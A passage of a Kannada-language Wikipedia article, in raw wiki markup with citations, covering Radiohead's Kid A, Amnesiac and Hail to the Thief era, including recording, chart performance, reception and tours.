ಆರಂಭದಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ ಆಲ್ಬಮ್‌ನ ನಂತರದ ಸಂಪುಟದ ಕುರಿತು ಕಾರ್ಯ ಆರಂಭಿಸಿತು. ತಂಡದ ರೆಕಾರ್ಡ್‌ ಉದ್ದಿಮೆಯಿಂದ ಯಾವುದೇ ರೀತಿಯ ಒತ್ತಡ ಅಥವಾ ಗಡುವು ಇಲ್ಲದಿದ್ದರೂ ಸಹ, ಈ ಅವಧಿಯಲ್ಲಿ ಉದ್ವೇಗ ಬಹಳ ಹೆಚ್ಚಿತ್ತು. ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡದ ಭವಿಷ್ಯ ಕುರಿತು ಸದಸ್ಯರು ವಿವಿಧ ದೃಷ್ಟಿಕೋನಗಳನ್ನು ಹೊಂದಿದ್ದರು. ಯಾರ್ಕ್‌ ಹಾಡುಗಳನ್ನು ರಚಿಸಿ ಬರೆಯಲು ಮಾನಸಿಕವಾಗಿ ಅಸಮರ್ಥರಾದರು. ಇದರಿಂದಾಗಿ ಅವರ ಹಾಡುಗಳು ಒಂದು ರೀತಿಯ ಛಿದ್ರ, ಆಮೂರ್ತ ರೂಪದ ಗೀತೆಗಳಿಗೆ ಪ್ರೇರೇಪಣೆ ನೀಡಿತು.<ref name="ECCLES"/> ಪ್ಯಾರಿಸ್‌, [[ಕೊಪನ್‌ಹ್ಯಾಗೆನ್]]‌ ಹಾಗೂ [[ಗ್ಲೌಸೆಸ್ಟರ್]]‌ ನಗರಗಳ ಸ್ಟುಡಿಯೊಗಳು, ಹಾಗೂ [[ಆಕ್ಸ್ಫರ್ಡ್]]‌ನಲ್ಲಿ ಹೊಸದಾಗಿ ನಿರ್ಮಿಸಿ ಪೂರ್ಣಗೊಳಿಸಲಾದ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ತಂಡವು ನಿರ್ಮಾಪಕ ನೈಗೆಲ್‌ ಗಾಡ್ರಿಚ್‌ರೊಂದಿಗೆ ಕುಳಿತು ಏಕಾಂತದಲ್ಲಿ ಕೆಲಸ ಮಾಡಿತು. ಅಂತಿಮವಾಗಿ, ತಂಡದ ಸಂಗೀತವು ಹೊಸ ದಿಕ್ಕಿನತ್ತ ಸಾಗಲು, ಬ್ಯಾಂಡ್‌ನಲ್ಲಿ ವಾದ್ಯಗಳ ಪಾತ್ರಗಳನ್ನು ಪುನರ್‌ವ್ಯಾಖ್ಯಾನಿಸಲು ಎಲ್ಲ ಸದಸ್ಯರು ಸಮ್ಮತಿಸಿದರು.<ref name="SMITH"> {{citation | first=Andrew | last=Smith | title=Sound and Fury | date=2000-10-01 | url =http://observer.guardian.co.uk/life/story/0,6903,375564,00.html | newspaper =[[The Observer]] | accessdate = 2007-03-17 }}</ref> ಹದಿನೆಂಟು ತಿಂಗಳುಗಳ ಬಳಿಕ, ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಗಳು ಏಪ್ರಿಲ್‌ 2000ರಲ್ಲಿ ಸಂಪೂರ್ಣಗೊಂಡವು.<ref name="ECCLES"/> ಅಕ್ಟೋಬರ್‌ 2000ರಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ''[[ಕಿಡ್‌ ಎ]]'' ಎಂಬ ತನ್ನ ನಾಲ್ಕನೆಯ ಆಲ್ಬಮ್‌ನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಈ ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಗಳಲ್ಲಿ ರಚಿಸಲಾದ ಎರಡು ಆಲ್ಬಮ್‌ಗಳಲ್ಲಿ ಇದು ಮೊದಲನೆಯದಾಗಿತ್ತು. ''ಒಕೆ ಕಂಪ್ಯೂಟರ್‌'' ಗೆ ಶೈಲಿಯ ಅನುಕ್ರಮ ಆಗುವ ಬದಲಿಗೆ ''ಕಿಡ್‌ ಎ'' [[ಅತಿ ಸರಳವಾದ]] ಹಾಗೂ ರಚನಾ ವಿನ್ಯಾಸದಿಂದ ಕೂಡಿತ್ತು. ಅತಿರೇಕವಿಲ್ಲದ ಗಿಟಾರ್‌ ಭಾಗಗಳು, ಇನ್ನಷ್ಟು ವೈವಿಧ್ಯಮಯ ವಾದ್ಯಗಳಿದ್ದವು - ಇವುಗಳಲ್ಲಿ [[ಓಡ್‌ ಮಾರ್ಟೆನೊ]], ನಿಗದಿಪಡಿಸಲಾದ [[ವಿದ್ಯುನ್ಮಾನ]] ತಾಳಗಳು, [[ತಂತಿಗಳು]] ಹಾಗೂ ಜ್ಯಾಝ್‌ ಹಾರ್ನ್‌ಗಳು ಸೇರಿದ್ದವು.<ref name="ECCLES"/> US ಸೇರಿದಂತೆ ಹಲವು ದೇಶಗಳಲ್ಲಿ ಅದು ಅಗ್ರಸ್ಥಾನ ಪಡೆಯಿತು. USನ ''[[ಬಿಲ್ಬೋರ್ಡ್‌]]'' ಸಂಗೀತಪಟ್ಟಿಯಲ್ಲಿ ಅಗ್ರಸ್ಥಾನ ಗಳಿಸಿತು, ವಾದ್ಯತಂಡವೊಂದಕ್ಕೆ ಅಗ್ರಸ್ಥಾನ ಲಭಿಸಿದ್ದು ಇದೇ ಮೊದಲ ಬಾರಿ. ಜೊತೆಗೆ, US ನಲ್ಲಿ UK ಸಂಗೀತಗಾರರು ಅಪರೂಪದ ಯಶಸ್ಸು ಗಳಿಸಿದರು.<ref name="BBCKIDAAMN">{{citation|publisher=BBC News|title=US Success for Radiohead|date=2001-06-14|url=http://news.bbc.co.uk/2/hi/entertainment/1389135.stm|accessdate=2007-03-22}}</ref> ಮಾರುಕಟ್ಟೆ ತಂತ್ರಗಳು, ಆಲ್ಬಮ್‌ ಬಿಡುಗಡೆಗೆ ಕೆಲವು ತಿಂಗಳುಗಳ ಮುಂಚೆ ಕಡತ ಹಂಚಿಕೊಳ್ಳುವ ಜಾಲ [[ನ್ಯಾಪ್ಸ್ಟರ್]]‌ನಲ್ಲಿ ಆಲ್ಬಮ್‌‌ನ ಸೋರಿಕೆ ಹಾಗೂ,ಆಂಶಿಕವಾಗಿ ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ನ ಯಶಸ್ಸಿನ ಆಧಾರದ ಮೇಲೆ ಮುಂಚಿತವಾದ ನಿರೀಕ್ಷೆಯೆ 'ಕಿಡ್‌ ಎ' ಯಶಸ್ಸಿಗೆ ಕಾರಣವಾಯಿತು.<ref> {{citation | title=CD Soars After Net Release: Radiohead's 'Kid A' premieres in No. 1 slot | last=Evangelista | first=Benny | accessdate = 2007-03-17 | date=2000-10-12 | newspaper=[[San Francisco Chronicle]] | url=http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2000/10/12/BU108599.DTL&type=tech_article }}</ref><ref> {{citation | last = Menta | first = Richard | title = Did Napster Take Radiohead's New Album to Number 1? | newspaper = [[MP3 Newswire]] | date = 2000-10-28 }}</ref><ref> {{citation | last = Oldham | first = James | title = Radiohead&nbsp;— Their Stupendous Return | newspaper = [[NME]] | date = 2000-06-24 }}</ref> ''ಕಿಡ್‌ ಎ'' ಆಲ್ಬಮ್‌ನಿಂದ ರೇಡಿಯೊಹೆಡ್‌ ಯಾವುದೇ ಏಕಗೀತೆಯನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸದಿದ್ದರೂ, '[[ಆಪ್ಟಿಮಿಸ್ಟಿಕ್‌]]' ಮತ್ತು '[[ಇಡಿಯೊಟೆಕ್‌]]'ನ [[ಜಾಹೀರಾತು]]ಗಳು ರೇಡಿಯೊದಲ್ಲಿ ಪ್ರಸಾರವಾದವು. ಜೊತೆಗೆ, '[[ಬ್ಲಿಪ್ಸ್‌]]' ಎಂಬ ಕಿರುವೀಡಿಯೊ ಸರಣಿಗಳು ಸಂಗೀತ ವಾಹಿನಿಗಳಲ್ಲಿ ಪ್ರಸಾರವಾದವು ಮತ್ತು ಅಂತರಜಾಲದಲ್ಲಿ ಮುಕ್ತವಾಗಿ ಬಿಡುಗಡೆಯಾದವು.<ref name="ZORIC"> {{citation | last = Zoric | first = Lauren | title = I think I'm meant to be dead | newspaper = The Guardian | date = 2000-09-22 }}</ref> ಧ್ವನಿಮುದ್ರಣಾ ಸಮಯದಲ್ಲಿ, [[ನಾವೊಮಿ ಕ್ಲೇನ್‌]] ಬರೆದ ''[[ನೊ ಲೋಗೊ]]'' ಎಂಬ [[ಜಾಗತೀಕರಣ-ವಿರೋಧಿ]] ಪುಸ್ತಕವನ್ನು ಓದಿದ್ದ ಬ್ಯಾಂಡ್ ಸದಸ್ಯರು,ಜಾಹೀರಾತುಮುಕ್ತ ಸಾಂಪ್ರದಾಯಿಕ ಶಿಬಿರದಲ್ಲಿ 2000ರ ಬೇಸಿಗೆಯಲ್ಲಿ ಯುರೋಪ್‌ನ ಪ್ರವಾಸವನ್ನು ಮುಂದುವರೆಸಲು ನಿರ್ಧರಿಸಿದರು. ಮೂರು ಸಂಪೂರ್ಣ ಮಾರಾಟವಾದ ಉತ್ತರ ಅಮೆರಿಕ ಥಿಯೇಟರ್ ಗೋಷ್ಠಿಗಳೊಂದಿಗೆ ''ಕಿಡ್ A'' ಗೆ ಉತ್ತೇಜನ ನೀಡಿದರು.<ref name="ZORIC"/> {{Listen | filename=Everything In Its Right Place.ogg | title="Everything in Its Right Place" | description=The opening track from Radiohead's fourth album, this song emphasizes the band's increasing use of [[electronic music]] and distortions of Thom Yorke's vocals. }} ಇಸವಿ 2001ರ ಆರಂಭದಲ್ಲಿ, ''ಕಿಡ್‌ ಎ'' ಆಲ್ಬಮ್‌ಗಾಗಿ ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡಕ್ಕೆ [[ಅತ್ಯುತ್ತಮ ಪರ್ಯಾಯ ಸಂಗೀತ ಆಲ್ಬಮ್]] ವರ್ಗದಲ್ಲಿ [[ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿ]] ಲಭಿಸಿತಲ್ಲದೆ, [[ವರ್ಷದ ಅತ್ಯುತ್ತಮ ಆಲ್ಬಮ್]]‌ ಪ್ರಶಸ್ತಿಗಾಗಿ ನಾಮನಿರ್ದೇಶನವೂ ದೊರಕಿತು. ಆದರೂ, ಕಿಡ್‌ ಎ ಆಲ್ಬಮ್‌ನಲ್ಲಿ ಸಂಗೀತದ '[[ಭೂಗತ ಶೈಲಿ]]' ಅಯ್ದುಕೊಂಡಿದ್ದಕ್ಕಾಗಿ '[[ಸ್ವತಂತ್ರ ಸಂಗೀತ]]' ವಲಯಗಳಲ್ಲಿ ಈ ಆಲ್ಬಮ್‌ಗೆ ಹೊಗಳಿಕೆ-ತೆಗಳಿಕೆಗಳೆರಡೂ ಲಭಿಸಿದವು. ಕೆಲವು ಮುಖ್ಯವಾಹಿನಿಯ ಬ್ರಿಟಿಷ್‌ ವಿಮರ್ಶಕರು ''ಕಿಡ್‌ ಎ'' ಆಲ್ಬಮ್‌ನ್ನು ಒಂದು ರೀತಿಯ 'ವಾಣಿಜ್ಯದ ಆತ್ಮಹತ್ಯಾ ಚೀಟಿ', 'ಉದ್ದೇಶಪೂರ್ವಕ ಜಟಿಲ' ಎಂದು ಪಟ್ಟಕಟ್ಟಿದರು ಹಾಗೂ ವಾದ್ಯತಂಡವು ಆದಷ್ಟು ಬೇಗನೆ ತಮ್ಮ ಮುಂಚಿನ ಶೈಲಿಯ ಸಂಗೀತಕ್ಕೆ ಮರಳುವುದನ್ನು ಬಯಸಿದರು.<ref name="KENT"/><ref name="FREQUENCY"/> ಇದೇ ರೀತಿ ರೇಡಿಯೊಹೆಡ್‌ ಅಭಿಮಾನಿಗಳಲ್ಲಿಯೂ ಸಹ ಭಿನ್ನಾಭಿಪ್ರಾಯಗಳಿದ್ದವು. ದಿಗಿಲು ಮತ್ತು ತಬ್ಬಿಬ್ಬಿನ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ನೀಡಿದವರ ಜತೆಗೆ ಇತರೆ ಕೆಲವರು ಈ ಆಲ್ಬಮ್‌ ರೇಡಿಯೊಹೆಡ್‌ನ ಅತ್ಯುತ್ತಮ ಕೃತಿ ಎಂದು ಶ್ಲಾಘಿಸಿದ್ದುಂಟು.<ref name="REYNOLDS"/><ref> {{citation | url=http://www.metacritic.com/music/artists/radiohead/kida | title=Kid A by Radiohead | accessdate = 2007-05-20 | magazine=[[Metacritic]] }}</ref> ಆದರೂ, ರೇಡಿಯೊಹೆಡ್‌ ವಾಣಿಜ್ಯ ನಿರೀಕ್ಷೆಗಳಿಗೆ ತಿಲಾಂಜಲಿಯಿಡಲಿದೆ ಎಂಬ ಊಹೆಗಳನ್ನು ಯಾರ್ಕ್ ಸಾರಾಸಗಟಾಗಿ ತಳ್ಳಿಹಾಕಿದರು. '''ಕಿಡ್‌ ಎ'' ‌ಯನ್ನು ಎಷ್ಟೊಂದು ಕೆಟ್ಟದಾಗಿ ನೋಡುತ್ತಿರುವುದು ನನಗೆ ಅಚ್ಚರಿ ತಂದಿದೆ, ಏಕೆಂದರೆ ಸಂಗೀತವನ್ನು ಗ್ರಹಿಸುವುದು ಅಷ್ಟೇನೂ ಕಷ್ಟವಲ್ಲ. ನಾವು ಅತೀ ಕ್ಲಿಷ್ಟವಾದ ಸಂಗೀತ ರಚಿಸಲು ಹೊರಟಿಲ್ಲ&nbsp;... ನಾವು ನಿಜವಾಗಿಯು ಸಂವಹನ ನಡೆಸಲು ಹೊರಟಿದ್ದೇವೆ. ನಾವು ಅನೇಕ ಜನರನ್ನು ನಿರುತ್ಸಾಹಗೊಳಿಸಿದಂತೆ ಕಾಣುತ್ತದೆ... ನಾವು ಮಾಡುತ್ತಿರುವುದು ಅಷ್ಟು ಆಮೂಲಾಗ್ರವಾಗಿಲ್ಲ.' <ref name="KENT"/> ಜೂನ್‌ 2001ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ಆಮ್ನೆಸಿಯಾಕ್‌]]'' ಆಲ್ಬಮ್‌ ''ಕಿಡ್‌ ಎ'' ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಯಲ್ಲಿ ರಚಿಸಲಾದ ಹೆಚ್ಚುವರಿ ಹಾಡುಗಳನ್ನು ಹೊಂದಿತ್ತು. ಈ ಹಾಡುಗಳಲ್ಲಿ ವಿದ್ಯುನ್ಮಾನ ಸಂಗೀತ ಮತ್ತು ಜ್ಯಾಝ್‌ ಪ್ರಭಾವದ ಮಿಶ್ರಣದ ವಿಚಾರದಲ್ಲಿ, ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಸಂಗೀತ ಶೈಲಿಯು ''ಕಿಡ್‌ ಎ'' ತರಹವೇ ಇತ್ತು. ಆದರೆ, ಗಿಟಾರ್‌ಗಳ ಬಳಕೆಯ ಮೇಲೆ ಹೆಚ್ಚು ಅವಲಂಬಿತವಾಗಿತ್ತು. ಆಮ್ನೆಸಿಯಾಕ್‌ ವಿಶ್ವಾದ್ಯಂತ ವಿಮರ್ಶಾತ್ಮಕ ಮತ್ತು ವಾಣಿಜ್ಯ ರೀತ್ಯಾ ಯಶಸ್ಸು ಕಂಡಿತು. [[UK ಆಲ್ಬಮ್‌ ಸಂಗೀತ ಪಟ್ಟಿ]]ಯಲ್ಲಿ ಅಗ್ರಸ್ಥಾನ ಹಾಗೂ USನಲ್ಲಿ ಎರಡನೆಯ ಸ್ಥಾನ ಗಳಿಸಿತು. ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿ ಹಾಗೂ [[ಮರ್ಕ್ಯುರಿ ಮ್ಯೂಸಿಕ್‌ ಪ್ರಶಸ್ತಿ]]ಗಾಗಿ ನಾಮನಿರ್ದೇಶನ ಸಂಪಾದಿಸಿತು.<ref name="BBCKIDAAMN"/><ref name="FREQUENCY"/> ''ಆಮ್ನೆಸಿಯಾಕ್‌ '''ಬಿಡುಗಡೆಯಾದ ನಂತರ, ವಾದ್ಯತಂಡವು ವಿಶ್ವ ಪ್ರವಾಸ ಹೊರಟು, ಉತ್ತರ ಅಮೆರಿಕಾ, ಯುರೋಪ್‌ ಮತ್ತು ಜಪಾನ್ ದೇ''' ಶಗಳಿಗೆ ಭೇಟಿ ನೀಡಿತು'' . '''''ಏತನ್ಮಧ್ಯೆ, 1998ರಿಂದಲೂ ಬಿಡುಗಡೆಯಾಗಿದ್ದ ರೇಡಿಯೋಹೆಡ್‌ ತಂಡದ '[[ಪಿರಮಿಡ್‌ ಸಾಂಗ್‌]]' ಹಾಗೂ '[[ನೈವ್ಸ್‌ ಔಟ್‌]]'ಏಕಗೀತೆಗಳು ಸಾಧಾರಣ ಮಟ್ಟದ ಯಶಸ್ಸು ಗಳಿಸಿದವು. ಮೊದಲಿಗೆ, ಮೂರನೆಯ ಏಕಗೀತೆಯೆಂದು ಯೋಜಿಸಲಾದ "[[ಐ ಮೈಟ್‌ ಬಿ ರಾಂಗ್‌]]", ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಏಕೈಕ 'ಲೈವ್‌ ರೆಕಾರ್ಡ್'‌ ಆಗಿ ವಿಸ್ತರಣೆಯಾಯಿತು.''' '' [[I Might Be Wrong: Live Recordings]]ಕಿಡ್ಸ್ A ಮತ್ತು ಆಮ್ನೆಸಿಯಾಕ್‌ನ,'' ನವೆಂಬರ್‌ 2001ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ,[[I Might Be Wrong: Live Recordings]]ಏಳು ಹಾಡುಗಳ ಪ್ರದರ್ಶನ'' , ''ಮತ್ತು'' ''ಜತೆಗೆ ಮುಂಚೆ ಬಿಡುಗಡೆಯಾಗಿರದ, ಧ್ವನಿತರಂಗಗಳಿಂದಲೇ ರಚಿಸಲಾದ 'ಟ್ರೂ ಲವ್‌ ವೇಯ್ಟ್ಸ್‌' ಸಹ ಹೊಂದಿತ್ತು'' . === ''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್‌'' ಮತ್ತು ವಿರಾಮ(2002–2004) === {{Listen | filename=Radiohead - 2 + 2 = 5 (sample).ogg | title="2 + 2 = 5" | description=An up-tempo, guitar-driven album opener, "2 + 2 = 5" heralded Radiohead's return to a more straightforward [[alternative rock]] style that still included electronic elements. }} ಜುಲೈ ಮತ್ತು ಆಗಸ್ಟ್‌ 2002ರಲ್ಲಿ, ರೇಡಿಯೊಹೆಡ್‌ ಪೋರ್ಚುಗಲ್‌ ಮತ್ತು ಸ್ಪೇನ್‌ ದೇಶಗಳ ಪ್ರವಾಸ ನಡೆಸಿ, ಹಲವು ನೂತನ ಹಾಡುಗಳನ್ನು ತಮ್ಮ ಗೋಷ್ಠಿಯಲ್ಲಿ ನುಡಿಸಿದರು. ಆನಂತರ, ತಂಡದ ಸದಸ್ಯರು [[ನೈಗೆಲ್‌ ಗಾಡ್ರಿಚ್‌]]ರೊಂದಿಗೆ ಕಾರ್ಯಗತರಾಗಿ [[ಲಾಸ್‌ ಏಂಜಲೀಸ್‌]]ನ ಒಂದು ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಹೊಸ ಹಾಡುಗಳನ್ನು ಎರಡು ವಾರಗಳಲ್ಲಿ ಧ್ವನಿಮುದ್ರಣ ಮಾಡಿದರು. ಮುಂದಿನ ವರ್ಷ ಆಕ್ಸ್ಫರ್ಡ್‌ನಲ್ಲಿ ಇದೇ ಧ್ವನಿಮುದ್ರಣ ಕಾರ್ಯವನ್ನು ಮುಂದುವರೆಸಿ, ಇನ್ನೂ ಹಲವು ಹಾಡುಗಳನ್ನು ಸೇರಿಸಿದರು. ರೇಡಿಯೋಹೆಡ್‌ ತಂಡದ ಸದಸ್ಯರ ಪ್ರಕಾರ, ''ಕಿಡ್‌ ಎ'' ಮತ್ತು ''ಆಮ್ನೆಸಿಯಾಕ್'' ‌ ಧ್ವನಿಮುದ್ರಣಾ ಸಮಯದ ಉದ್ವೇಗ ವಾತಾವರಣಕ್ಕೆ ತದ್ವಿರುದ್ಧವಾಗಿ, ಈ ಧ್ವನಿಮುದ್ರಣಾ ಕಾರ್ಯವು ಸುಗಮವಾಗಿ ನಡೆಯಿತು.<ref name="MCLEAN"/> ವಾದ್ಯತಂಡದ ಆರನೆಯ ಆಲ್ಬಮ್‌ ''[[ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್]]'' ‌ ಜೂನ್‌ 2003ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. ತಂಡದ ವೃತ್ತಿಜೀವನದುದ್ದಕ್ಕೂ ಬಳಸಿದ ಧ್ವನಿಗಳನ್ನು ಮಿಶ್ರಿಸಿ ರಚಿಸಲಾದ ''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್‌'' , ವಿದ್ಯುನ್ಮಾನ ಪ್ರಭಾವವುಳ್ಳ ಗಿಟಾರ್‌-ಆಧಾರಿತ ರಾಕ್‌ ಶೈಲಿಯೊಂದಿಗೆ ಯಾರ್ಕ್‌ರ ಸಾಮಯಿಕ ಗೀತೆಗಳನ್ನು ಮಿಶ್ರಣ ಮಾಡಿತು.<ref name="META"> {{citation | url=http://www.metacritic.com/music/artists/radiohead/hailtothethief?q=hail%20to%20the%20thief | title=Radiohead: Hail to the Thief (2003): Reviews | accessdate = 2007-03-17 | magazine=[[Metacritic]] }}</ref> ಈ ಆಲ್ಬಮ್‌ಗೆ ವಿಮರ್ಶಕರಿಂದ ಪ್ರಶಂಸೆ ಲಭಿಸಿದರೂ, ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ನೊಂದಿಗೆ ಆರಂಭಗೊಳಿಸಿದ 'ಶೈಲಿ-ಮರುವ್ಯಾಖ್ಯಾನ'ದ ಪ್ರವೃತ್ತಿಯನ್ನು ಮುಂದುವರೆಸುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ, ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ಸೃಜನಾತ್ಮಕವಾಗಿ ನೀರಿನಲ್ಲಿ ಈಜಲು ಯತ್ನಿಸುತ್ತಿದೆ ಎಂದು ಹಲವರು ಅಭಿಪ್ರಾಯಪಟ್ಟರು.<ref> {{citation | first=Alexis | last=Petridis | title=Radiohead: Hail to the Thief | date=2003-06-06 | newspaper = [[The Guardian]] | url =http://arts.guardian.co.uk/fridayreview/story/0,,970859,00.html | accessdate = 2007-11-22 }}</ref> ಅದೇನೇ ಇರಲಿ, ''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್‌'' ವಾಣಿಜ್ಯ ಯಶಸ್ಸು ಗಳಿಸಿತು. ಬಿಡುಗಡೆಯಾದಾಗಲೇ UKಯ ಜನಪ್ರಿಯ ಸಂಗೀತ ಪಟ್ಟಿಯಲ್ಲಿ ಆಗ್ರಸ್ಥಾನ ಮತ್ತು US ''ಬಿಲ್ಬೋರ್ಡ್‌'' ಪಟ್ಟಿಯಲ್ಲಿ ಮೂರನೆಯ ಸ್ಥಾನ ಗಳಿಸಿತು. ಅಂತಿಮವಾಗಿ ಇದಕ್ಕೆ UKಯಲ್ಲಿ [[ಪ್ಲ್ಯಾಟಿನಮ್]]‌ ಹಾಗೂ USನಲ್ಲಿ [[ಸ್ವರ್ಣ]] ಎಂದು ಪ್ರಮಾಣೀಕರಿಸಲಾಯಿತು. ಆಲ್ಬಮ್‌ನ '[[ದೇರ್‌ ದೇರ್]] ‌', '[[ಗೋ ಟು ಸ್ಲೀಪ್‌]]' ಹಾಗೂ '[[2 + 2 = 5]]' ಏಕಗೀತೆಗಳು [[ಆಧುನಿಕ ರಾಕ್‌ ಶೈಲಿ ಸಂಗೀತ]] ರೇಡಿಯೊದಲ್ಲಿ ಶ್ರೋತೃಗಳಿಂದ ಬಹಳಷ್ಟು ಕೋರಿಕೆ ಸಂಪಾದಿಸಿತು. ಇಸವಿ 2003ರ ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿ ಸಮಾರಂಭದಲ್ಲಿ, ರೇಡಿಯೊಹೆಡ್‌ ತಂಡಕ್ಕೆ [[ಅತ್ಯುತ್ತಮ ಪರ್ಯಾಯ ಅಲ್ಬಮ್‌]]ಗಾಗಿ ಪುನಃ ನಾಮನಿರ್ದೇಶನ ಲಭಿಸಿತು. ನಿರ್ಮಪಕ ಗಾಡ್ರಿಚ್‌ ಮತ್ತು ಇಂಜಿನಿಯರ್‌ ಡ್ಯಾರೆಲ್‌ ಥೋರ್ಪ್‌ರಿಗೆ [[ಗ್ರಾಮಿ ಅವಾರ್ಡ್ ಫಾರ್ ಬೆಸ್ಟ್ ಎಂಜಿನಿಯರ್ಡ್ ಆಲ್ಬಮ್‌]]ಗಾಗಿ ಗ್ರಾಮಿ ಪ್ರಶಸ್ತಿ ಸ್ವೀಕರಿಸಿದರು.<ref> {{citation | url=http://www.rockonthenet.com/archive/2003/grammys.htm | title=Rock on the Net: 45th Annual Grammy Awards | accessdate = 2007-11-22 | date=2003-02-23 | magazine=rockonthenet.com }}</ref> ''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್‌ '''ಶೀರ್ಷಿಕೆ ವಿವಾದಗ್ರಸ್ಥ [[2000ದ US ರಾಷ್ಟ್ರಾಧ್ಯಕ್ಷ ಚುನಾವಣೆ]]ಯ ಕುರಿತು ಅಭಿಪ್ರಾಯವಲ್ಲ. [[BBC ರೇಡಿಯೊ 4]]ರಲ್ಲಿ ಪ್ರಸಾರವಾದ 19ನೆಯ ಶತಮಾನದ ಅಮೆರಿಕನ್‌ ರಾಜಕೀಯ''' ಕುರಿತು ಚರ್ಚೆಯಲ್ಲಿ ಈ ಉಕ್ತಿಯನ್ನು ಮೊದಲ ಬಾರಿಗೆ ಕೇಳಿಸಿಕೊಂಡೆ'' ಎಂದು ಯಾರ್ಕ್‌ ಸ್ಪಷ್ಟಪಡಿಸಿದರು.<ref name="MCLEAN"/> '''''ಇಸವಿ 2001ರಿಂದ 2002ರ ವರೆಗಿನ ಯುದ್ಧದ ವರದಿಗಳಿಂದ ತಮ್ಮ ಗೀತೆಗಳು ಪ್ರಭಾವಿತವಾಗಿದೆ ಎಂದು ಯಾರ್ಕ್‌ ತಿಳಿಸಿದರು. 'ನಾವು ಅಸಹಿಷ್ಣುತೆ ಹಾಗೂ ಭೀತಿಯ ಯುಗವನ್ನು ಪ್ರವೇಶಿಸುತ್ತಿದ್ದೇವೆ. ಪ್ರಜಾಪ್ರಭುತ್ವದಲ್ಲಿ ನಮ್ಮ ಅಭಿಪ್ರಾಯ ತಿಳಿಸುವ,ನಮ್ಮ ಧ್ವನಿಕೇಳುವಂತೆ ಮಾಡುವ ಅಧಿಕಾರ ನಮಗೆ ನಿರಾಕರಿಸಲಾಗಿದೆ' <ref>{{citation |last=Sutcliffe |first=Phil |title=Radiohead heeds the alarms |newspaper=The Los Angeles Times |date=2003-06-08 |accessdate=2009-01-11 url=http://articles.latimes.com/2003/jun/08/entertainment/ca-sutcliffe8}}</ref> ಎಂದೂ ಯಾರ್ಕ್‌ ಹೇಳಿದರು. 'ರೇಡಿಯೊಹೆಡ್‌ ಪ್ರತಿಭಟಿಸುವಂತಹ ಗೀತೆಗಳನ್ನು ಬರೆಯಲಿಲ್ಲ; ನಾವು ರಾಜಕೀಯ ಗೀತೆಗಳನ್ನು ಬರೆಯಲಿಲ್ಲ' ಎಂದರು.<ref name="MCLEAN"/> ''' '' '''ಹೇಯ್ಲ್‌ ಟು ದಿ ಥೀಫ್''‌ '''''ಬಿಡುಗಡೆಯಾದ ನಂತರ''' '' , ರೇಡಿಯೊಹೆಡ್‌ ಮೇ 2003ರಲ್ಲಿ ವಿಶ್ವ ಪ್ರವಾಸ ಹೊರಟಿತು. ಇದರಲ್ಲಿ [[ಗ್ಲ್ಯಾಸ್ಟನ್‌ಬ್ಯುರಿ ಫೆಸ್ಟಿವಲ್]]‌ನಲ್ಲಿ ಪ್ರಮುಖ ಪ್ರದರ್ಶನವೂ ಸೇರಿತ್ತು. '' ''' '''''ಮೇ 2004ರಲ್ಲಿ [[ಕೋಚೆಲ್ಲಾ ಫೆಸ್ಟಿವಲ್]]‌ನಲ್ಲಿ ಪ್ರದರ್ಶನ ನೀಡುವುದರೊಂದಿಗೆ ಈ ಪ್ರವಾಸವು ಮುಗಿಯಿತು. '' ''' '''''ವಾದ್ಯತಂಡವು ಈ ಪ್ರವಾಸದಲ್ಲಿ, ತನ್ನ ಅನೇಕ ಸಂಕಲನಗಳ ಹಲವು ಬಿ-ಸೈಡ್‌ ಹಾಡುಗಳುಳ್ಳ EPಯನ್ನು '' [[COM LAG]]'' ಎಂಬ ಸಂಪುಟದ ಮೂಲಕ ಬಿಡುಗಡೆಗೊಳಿಸಿತು'' . ''' '''''ಪ್ರವಾಸದ ನಂತರ, ವಾದ್ಯತಂಡವು ತನ್ನ ಆಕ್ಸ್ಫರ್ಡ್‌ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಹಾಡುಗಳ ರಚನೆ ಮತ್ತು ಫೂರ್ವಾಭ್ಯಾಸ ನಡೆಸಿತು, ಆದರೆ ಶೀಘ್ರದಲ್ಲೇ ವಿರಾಮದ ಸ್ಥಿತಿಗೆ ಪ್ರವೇಶಿಸಿತು. '' ''' '''''ಧ್ವನಿಮುದ್ರಣಾ ಉದ್ದಿಮೆಯೊಂದಿಗಿನ ತನ್ನ ಗುತ್ತಿಗೆಯಿಂದ ಮುಕ್ತರಾಗಿ , ರೇಡಿಯೋಹೆಡ್‌ ತಂಡದ ಸದಸ್ಯರು ತಮ್ಮ ತಮ್ಮ ಕುಟುಂಬಗಳೊಂದಿಗೆ 